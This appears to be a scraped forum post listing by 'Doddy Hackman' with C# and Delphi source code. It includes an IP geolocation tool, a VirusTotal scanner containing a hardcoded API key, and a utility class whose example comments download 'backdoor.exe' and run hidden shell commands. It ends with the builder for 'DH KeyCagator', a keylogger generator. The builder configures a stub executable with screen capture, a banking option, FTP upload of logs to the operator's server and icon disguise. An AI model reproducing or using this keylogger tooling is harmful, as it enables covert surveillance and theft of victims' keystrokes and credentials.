1
.NET Framework / Re: [C#] LocateIP 0.2
« on: July 04, 2014, 09:59:39 PM »
I like them, but if you dislike deletes the post, I have no problem.
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
// LocateIP 0.2
// (C) Doddy Hackman 2014
// Credits :
// To locate IP : http://www.melissadata.com/lookups/iplocation.asp?ipaddress=
// To get DNS : http://www.ip-adress.com/reverse_ip/
// Theme Skin designed by Aeonhack
// Thanks to www.melissadata.com and www.ip-adress.com and Aeonhack
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace locateip
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void mButton2_Click(object sender, EventArgs e)
{
funciones modulos = new funciones();
if (textBox1.Text == "")
{
MessageBox.Show("Enter the target");
}
else
{
textBox2.Text = "";
textBox3.Text = "";
textBox4.Text = "";
listBox1.Items.Clear();
toolStripStatusLabel1.Text = "[+] Getting IP ...";
this.Refresh();
string ip = modulos.getip(textBox1.Text);
if (ip == "Error")
{
MessageBox.Show("Error getting IP ...");
toolStripStatusLabel1.Text = "[-] Error getting IP";
this.Refresh();
}
else
{
textBox1.Text = ip;
toolStripStatusLabel1.Text = "[+] Locating ...";
this.Refresh();
List<String> localizacion = modulos.locateip(ip);
if (localizacion[0] == "Error")
{
MessageBox.Show("Error locating ...");
toolStripStatusLabel1.Text = "[-] Error locating";
this.Refresh();
}
else
{
textBox2.Text = localizacion[0];
textBox3.Text = localizacion[1];
textBox4.Text = localizacion[2];
toolStripStatusLabel1.Text = "[+] Getting DNS ...";
this.Refresh();
List<String> dns_found = modulos.getdns(ip);
if (dns_found[0] == "")
{
MessageBox.Show("Error getting DNS ...");
toolStripStatusLabel1.Text = "[-] Error getting DNS";
this.Refresh();
}
else
{
foreach (string dns in dns_found)
{
listBox1.Items.Add(dns);
}
toolStripStatusLabel1.Text = "[+] Finished";
this.Refresh();
}
}
}
}
}
private void mButton1_Click(object sender, EventArgs e)
{
Application.Exit();
}
}
}
// The End ?
// Funciones for LocateIP 0.2
// (C) Doddy Hackman 2014
using System;
using System.Collections.Generic;
using System.Text;
//
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
//
namespace locateip
{
class funciones
{
public string getip(string buscar)
{
String code = "";
String url = "http://whatismyipaddress.com/hostname-ip";
String par = "DOMAINNAME="+buscar;
String ip = "";
HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
nave.Method = "POST";
nave.ContentType = "application/x-www-form-urlencoded";
Stream anteantecode = nave.GetRequestStream();
anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
anteantecode.Close();
StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
code = antecode.ReadToEnd();
Match regex = Regex.Match(code, "Lookup IP Address: <a href=(.*)>(.*)</a>", RegexOptions.IgnoreCase);
if (regex.Success)
{
ip = regex.Groups[2].Value;
}
else
{
ip = "Error";
}
return ip;
}
public List<String> locateip(string ip)
{
string code = "";
string city = "";
string country = "";
string state = "";
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
code = nave.DownloadString("http://www.melissadata.com/lookups/iplocation.asp?ipaddress=" + ip);
Match regex = Regex.Match(code, "City</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);
if (regex.Success)
{
city = regex.Groups[2].Value;
}
else
{
city = "Error";
}
regex = Regex.Match(code, "Country</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);
if (regex.Success)
{
country = regex.Groups[2].Value;
}
else
{
country = "Error";
}
regex = Regex.Match(code, "State or Region</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);
if (regex.Success)
{
state = regex.Groups[2].Value;
}
else
{
state = "Error";
}
List<string> respuesta = new List<string> {};
respuesta.Add(city);
respuesta.Add(country);
respuesta.Add(state);
return respuesta;
}
public List<String> getdns(string ip)
{
string code = "";
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
code = nave.DownloadString("http://www.ip-adress.com/reverse_ip/" + ip);
List<string> respuesta = new List<string> {};
Match regex = Regex.Match(code, "whois/(.*?)\">Whois", RegexOptions.IgnoreCase);
while (regex.Success)
{
respuesta.Add(regex.Groups[1].Value);
regex = regex.NextMatch();
}
return respuesta;
}
}
}
// The End ?
// VirusTotal Scanner 0.1
// (C) Doddy Hackman 2014
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;
namespace virustotalscanner
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
openFileDialog1.ShowDialog();
if (File.Exists(openFileDialog1.FileName))
{
textBox1.Text = openFileDialog1.FileName;
}
}
private void button2_Click(object sender, EventArgs e)
{
DH_Tools tools = new DH_Tools();
if (File.Exists(textBox1.Text))
{
string md5 = tools.md5file(textBox1.Text);
listView1.Items.Clear();
richTextBox1.Clear();
string apikey = "07d6f7d301eb1ca58931a396643b91e4c98f830dcaf52aa646f034c876689064"; // API Key
toolStripStatusLabel1.Text = "[+] Scanning ...";
this.Refresh();
string code = tools.tomar("http://www.virustotal.com/vtapi/v2/file/report", "resource=" + md5 + "&apikey=" + apikey);
code = code.Replace("{\"scans\":", "");
string anti = "";
string reanti = "";
Match regex = Regex.Match(code, "\"(.*?)\": {\"detected\": (.*?), \"version\": (.*?), \"result\": (.*?), \"update\": (.*?)}", RegexOptions.IgnoreCase);
while (regex.Success)
{
anti = regex.Groups[1].Value;
reanti = regex.Groups[4].Value;
reanti = reanti.Replace("\"", "");
ListViewItem item = new ListViewItem();
if (reanti == "null")
{
item.ForeColor = Color.Cyan;
reanti = "Clean";
}
else
{
item.ForeColor = Color.Red;
}
item.Text = anti;
item.SubItems.Add(reanti);
listView1.Items.Add(item);
regex = regex.NextMatch();
}
regex = Regex.Match(code, "\"scan_id\": \"(.*?)\"", RegexOptions.IgnoreCase);
if (regex.Success)
{
richTextBox1.AppendText("[+] Scan_ID : " + regex.Groups[1].Value + Environment.NewLine);
}
else
{
MessageBox.Show("Not Found");
}
regex = Regex.Match(code, "\"scan_date\": \"(.*?)\"", RegexOptions.IgnoreCase);
if (regex.Success)
{
richTextBox1.AppendText("[+] Scan_Date : " + regex.Groups[1].Value + Environment.NewLine);
}
regex = Regex.Match(code, "\"permalink\": \"(.*?)\"", RegexOptions.IgnoreCase);
if (regex.Success)
{
richTextBox1.AppendText("[+] PermaLink : " + regex.Groups[1].Value + Environment.NewLine);
}
regex = Regex.Match(code, "\"verbose_msg\": \"(.*?)\", \"total\": (.*?), \"positives\": (.*?),", RegexOptions.IgnoreCase);
if (regex.Success)
{
richTextBox1.AppendText("[+] Founds : " + regex.Groups[3].Value + "/" + regex.Groups[2].Value + Environment.NewLine);
}
toolStripStatusLabel1.Text = "[+] Finished";
this.Refresh();
}
else
{
MessageBox.Show("File not found");
}
}
}
}
// The End ?
// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
namespace virustotalscanner
{
class DH_Tools
{
public string toma(string url)
{
string code = "";
try
{
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
code = nave.DownloadString(url);
}
catch
{
//
}
return code;
}
public string tomar(string url, string par)
{
string code = "";
try
{
HttpWebRequest nave = (HttpWebRequest)
WebRequest.Create(url);
nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
nave.Method = "POST";
nave.ContentType = "application/x-www-form-urlencoded";
Stream anteantecode = nave.GetRequestStream();
anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
anteantecode.Close();
StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
code = antecode.ReadToEnd();
}
catch
{
//
}
return code;
}
public string respondecode(string url)
{
String code = "";
try
{
HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
int number = (int)num.StatusCode;
code = Convert.ToString(number);
}
catch
{
code = "404";
}
return code;
}
public string httpfinger(string url)
{
String code = "";
try
{
HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
for (int num = 0; num < nave2.Headers.Count; ++num)
{
code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
}
nave2.Close();
}
catch
{
//
}
return code;
}
public string openword(string file)
{
String code = "";
try
{
code = System.IO.File.ReadAllText(file);
}
catch
{
//
}
return code;
}
public void savefile(string file, string texto)
{
try
{
System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
save.Write(texto);
save.Close();
}
catch
{
//
}
}
public string getos()
{
string code = "";
try
{
System.OperatingSystem os = System.Environment.OSVersion;
code = Convert.ToString(os);
}
catch
{
code = "?";
}
return code;
}
public List<string> repes(List<string> array)
{
List<string> repe = new List<string>();
foreach (string lin in array)
{
if (!repe.Contains(lin))
{
repe.Add(lin);
}
}
return repe;
}
public List<string> cortar(List<string> otroarray)
{
List<string> cort = new List<string>();
foreach (string row in otroarray)
{
String lineafinal = "";
Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
if (regex.Success)
{
lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
cort.Add(lineafinal);
}
}
return cort;
}
public string download(string url, string savename)
{
String code = "";
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
try
{
nave.DownloadFile(url, savename);
code = "OK";
}
catch
{
code = "Error";
}
return code;
}
public string upload(string link, string archivo)
{
String code = "";
try
{
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
byte[] codedos = nave.UploadFile(link, "POST", archivo);
code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
}
catch
{
code = "Error";
}
return code;
}
public string basename(string file)
{
String nombre = "";
FileInfo basename = new FileInfo(file);
nombre = basename.Name;
return nombre;
}
public string console(string cmd)
{
string code = "";
try
{
System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
loadnow.RedirectStandardOutput = true;
loadnow.UseShellExecute = false;
loadnow.CreateNoWindow = true;
System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
loadnownow.StartInfo = loadnow;
loadnownow.Start();
code = loadnownow.StandardOutput.ReadToEnd();
}
catch
{
code = "Error";
}
return code;
}
public string urisplit(string url, string opcion)
{
string code = "";
Uri dividir = new Uri(url);
if (opcion == "host")
{
code = dividir.Host;
}
if (opcion == "port")
{
code = Convert.ToString(dividir.Port);
}
if (opcion == "path")
{
code = dividir.LocalPath;
}
if (opcion == "file")
{
code = dividir.AbsolutePath;
FileInfo basename = new FileInfo(code);
code = basename.Name;
}
if (opcion == "query")
{
code = dividir.Query;
}
if (opcion == "")
{
code = "Error";
}
return code;
}
public string convertir_md5(string text)
{
MD5 convertirmd5 = MD5.Create();
byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
StringBuilder guardar = new StringBuilder();
for (int numnow = 0; numnow < infovalor.Length; numnow++)
{
guardar.Append(infovalor[numnow].ToString("x2"));
}
return guardar.ToString();
}
public string md5file(string file)
{
string code = "";
try
{
var gen = MD5.Create();
var ar = File.OpenRead(file);
code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
}
catch
{
code = "Error";
}
return code;
}
public string getip(string host)
{
string code = "";
try
{
IPAddress[] find = Dns.GetHostAddresses(host);
code = find[0].ToString();
}
catch
{
code = "Error";
}
return code;
}
}
}
// The End ?
// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
namespace clasewebtools
{
class DH_Tools
{
public string toma(string url)
{
string code = "";
try
{
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
code = nave.DownloadString(url);
}
catch
{
//
}
return code;
}
public string tomar(string url, string par)
{
string code = "";
try
{
HttpWebRequest nave = (HttpWebRequest)
WebRequest.Create(url);
nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
nave.Method = "POST";
nave.ContentType = "application/x-www-form-urlencoded";
Stream anteantecode = nave.GetRequestStream();
anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
anteantecode.Close();
StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
code = antecode.ReadToEnd();
}
catch
{
//
}
return code;
}
public string respondecode(string url)
{
String code = "";
try
{
HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
int number = (int)num.StatusCode;
code = Convert.ToString(number);
}
catch
{
code = "404";
}
return code;
}
public string httpfinger(string url)
{
String code = "";
try
{
HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
for (int num = 0; num < nave2.Headers.Count; ++num)
{
code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
}
nave2.Close();
}
catch
{
//
}
return code;
}
public string openword(string file)
{
String code = "";
try
{
code = System.IO.File.ReadAllText(file);
}
catch
{
//
}
return code;
}
public void savefile(string file,string texto) {
try {
System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
save.Write(texto);
save.Close();
}
catch {
//
}
}
public string getos()
{
string code = "";
try
{
System.OperatingSystem os = System.Environment.OSVersion;
code = Convert.ToString(os);
}
catch
{
code = "?";
}
return code;
}
public List<string> repes(List<string> array)
{
List<string> repe = new List<string>();
foreach (string lin in array)
{
if (!repe.Contains(lin))
{
repe.Add(lin);
}
}
return repe;
}
public List<string> cortar(List<string> otroarray)
{
List<string> cort = new List<string>();
foreach (string row in otroarray)
{
String lineafinal = "";
Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
if (regex.Success)
{
lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
cort.Add(lineafinal);
}
}
return cort;
}
public string download(string url,string savename)
{
String code = "";
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
try
{
nave.DownloadFile(url, savename);
code = "OK";
}
catch
{
code = "Error";
}
return code;
}
public string upload(string link,string archivo)
{
String code = "";
try
{
WebClient nave = new WebClient();
nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
byte[] codedos = nave.UploadFile(link, "POST", archivo);
code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
}
catch
{
code = "Error";
}
return code;
}
public string basename(string file)
{
String nombre = "";
FileInfo basename = new FileInfo(file);
nombre = basename.Name;
return nombre;
}
public string console(string cmd)
{
string code = "";
try
{
System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
loadnow.RedirectStandardOutput = true;
loadnow.UseShellExecute = false;
loadnow.CreateNoWindow = true;
System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
loadnownow.StartInfo = loadnow;
loadnownow.Start();
code = loadnownow.StandardOutput.ReadToEnd();
}
catch
{
code = "Error";
}
return code;
}
public string urisplit(string url,string opcion)
{
string code = "";
Uri dividir = new Uri(url);
if (opcion == "host")
{
code = dividir.Host;
}
if (opcion == "port")
{
code = Convert.ToString(dividir.Port);
}
if (opcion == "path")
{
code = dividir.LocalPath;
}
if (opcion == "file")
{
code = dividir.AbsolutePath;
FileInfo basename = new FileInfo(code);
code = basename.Name;
}
if (opcion == "query")
{
code = dividir.Query;
}
if (opcion == "")
{
code = "Error";
}
return code;
}
public string convertir_md5(string text)
{
MD5 convertirmd5 = MD5.Create();
byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
StringBuilder guardar = new StringBuilder();
for (int numnow = 0; numnow < infovalor.Length; numnow++)
{
guardar.Append(infovalor[numnow].ToString("x2"));
}
return guardar.ToString();
}
public string md5file(string file)
{
string code = "";
try
{
var gen = MD5.Create();
var ar = File.OpenRead(file);
code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
}
catch
{
code = "Error";
}
return code;
}
public string getip(string host)
{
string code = "";
try
{
IPAddress[] find = Dns.GetHostAddresses(host);
code = find[0].ToString();
}
catch
{
code = "Error";
}
return code;
}
}
}
// The End ?
namespace clasewebtools
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
// Examples
DH_Tools tools = new DH_Tools();
// The GET Method
//string code = tools.toma("http://www.petardas.com/index.php");
// The POST Method
//string code = tools.tomar("http://localhost/pos.php", "probar=test&yeah=dos&control=Now");
// HTTP Status code number
//string code = tools.respondecode("http://www.petardas.com/index.php");
// HTTP FingerPrinting
//string code = tools.httpfinger("http://www.petardas.com/index.php");
// Read File
//string code = tools.openword("C:/test.txt");
// Write File
//tools.savefile("test.txt","yeah");
// GET OS
//string code = tools.getos();
/* Remove duplicates from a List
List<string> arrays = new List<string> { "test", "test", "test", "bye", "bye" };
List<string> limpio = tools.repes(arrays);
foreach (string text in limpio)
{
richTextBox1.AppendText(text + Environment.NewLine);
}
*/
/* Cut urls from a List
List<string> lista = new List<string> { "http://localhost1/sql.php?id=adsasdsadsa", "http://localhost2/sql.php?id=adsasdsadsa",
"http://localhost3/sql.php?id=adsasdsadsa"};
List<string> cortar = tools.cortar(lista);
foreach (string test in cortar)
{
richTextBox1.AppendText(test + Environment.NewLine);
}
*/
// Download File
//string code = tools.download("http://localhost/backdoor.exe", "backdoor.exe");
// Upload File
//string code = tools.upload("http://localhost/uploads/upload.php", "c:/test.txt");
// Get Basename from a path
//string code = tools.basename("c:/dsaaads/test.txt");
// Execute commands
//string code = tools.console("net user");
// URI Split
// Options : host,port,path,file,query
//string code = tools.urisplit("http://localhost/dsadsadsa/sql.php?id=dsadasd","host");
// MD5 Hash Generator
//string code = convertir_md5("123");
// Get MD5 of file
//string code = tools.md5file("c:/test.txt");
// Get IP address from host name
//string code = tools.getip("www.petardas.com");
}
}
}
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle
unit dhkey;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
IdFTP, ShellApi, MadRes;
type
TForm1 = class(TForm)
Image1: TImage;
StatusBar1: TStatusBar;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
ComboBox1: TComboBox;
Edit2: TEdit;
GroupBox3: TGroupBox;
TabSheet2: TTabSheet;
Edit1: TEdit;
GroupBox4: TGroupBox;
CheckBox1: TCheckBox;
Edit3: TEdit;
Label1: TLabel;
TabSheet3: TTabSheet;
GroupBox5: TGroupBox;
GroupBox6: TGroupBox;
CheckBox2: TCheckBox;
Edit4: TEdit;
Label2: TLabel;
GroupBox7: TGroupBox;
Label3: TLabel;
Edit5: TEdit;
Label4: TLabel;
Edit7: TEdit;
Label5: TLabel;
Edit8: TEdit;
Label6: TLabel;
Edit6: TEdit;
TabSheet4: TTabSheet;
GroupBox8: TGroupBox;
GroupBox9: TGroupBox;
Label7: TLabel;
Edit9: TEdit;
Label8: TLabel;
Edit11: TEdit;
Label9: TLabel;
Edit12: TEdit;
Label10: TLabel;
Edit10: TEdit;
GroupBox10: TGroupBox;
Button1: TButton;
GroupBox12: TGroupBox;
Button2: TButton;
CheckBox3: TCheckBox;
IdFTP1: TIdFTP;
TabSheet6: TTabSheet;
GroupBox11: TGroupBox;
Image2: TImage;
Memo1: TMemo;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
dir: string;
busqueda: TSearchRec;
begin
IdFTP1.Host := Edit9.Text;
IdFTP1.Username := Edit11.Text;
IdFTP1.Password := Edit12.Text;
dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
try
begin
FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
DeleteFile(dir + '\' + busqueda.Name);
while FindNext(busqueda) = 0 do
begin
DeleteFile(dir + '\' + busqueda.Name);
end;
FindClose(busqueda);
rmdir(dir);
end;
except
//
end;
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
try
begin
IdFTP1.Connect;
IdFTP1.ChangeDir(Edit10.Text);
IdFTP1.List('*.*', True);
for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
begin
IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
IdFTP1.DirectoryListing.Items[i].FileName, False, False);
end;
ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
IdFTP1.Disconnect;
IdFTP1.Free;
end;
except
//
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
lineafinal: string;
savein_especial: string;
savein: string;
foldername: string;
bankop: string;
capture_op: string;
capture_seconds: integer;
ftp_op: string;
ftp_seconds: integer;
ftp_host_txt: string;
ftp_user_txt: string;
ftp_pass_txt: string;
ftp_path_txt: string;
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
stubgenerado: string;
op: string;
change: DWORD;
valor: string;
begin
if (RadioButton1.Checked = True) then
begin
savein_especial := '0';
if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
begin
savein := 'USERPROFILE';
end
else
begin
savein := ComboBox1.Items[ComboBox1.ItemIndex];
end;
end;
if (RadioButton2.Checked = True) then
begin
savein_especial := '1';
savein := Edit2.Text;
end;
foldername := Edit1.Text;
if (CheckBox1.Checked = True) then
begin
capture_op := '1';
end
else
begin
capture_op := '0';
end;
capture_seconds := StrToInt(Edit3.Text) * 1000;
if (CheckBox2.Checked = True) then
begin
ftp_op := '1';
end
else
begin
ftp_op := '0';
end;
if (CheckBox3.Checked = True) then
begin
bankop := '1';
end
else
begin
bankop := '0';
end;
ftp_seconds := StrToInt(Edit4.Text) * 1000;
ftp_host_txt := Edit5.Text;
ftp_user_txt := Edit7.Text;
ftp_pass_txt := Edit8.Text;
ftp_path_txt := Edit6.Text;
lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
'[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
'[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
'[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
'[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
'[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
'[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
'[ftp_path]', 'encode') + '[63686175]';
aca := INVALID_HANDLE_VALUE;
nose := 0;
stubgenerado := 'keycagator_ready.exe';
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado), True);
StrCopy(code, PChar(lineafinal));
aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
if (op = 'Yes') then
begin
OpenDialog1.InitialDir := GetCurrentDir;
if OpenDialog1.Execute then
begin
try
begin
valor := IntToStr(128);
change := BeginUpdateResourceW
(PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado)), False);
LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
PWideChar(wideString(OpenDialog1.FileName)));
EndUpdateResourceW(change, False);
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
except
begin
StatusBar1.Panels[0].Text := '[-] Error';
StatusBar1.Update;
end;
end;
end
else
begin
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
end
else
begin
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
OpenDialog1.InitialDir := GetCurrentDir;
OpenDialog1.Filter := 'ICO|*.ico|';
end;
end.
// The End ?
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014
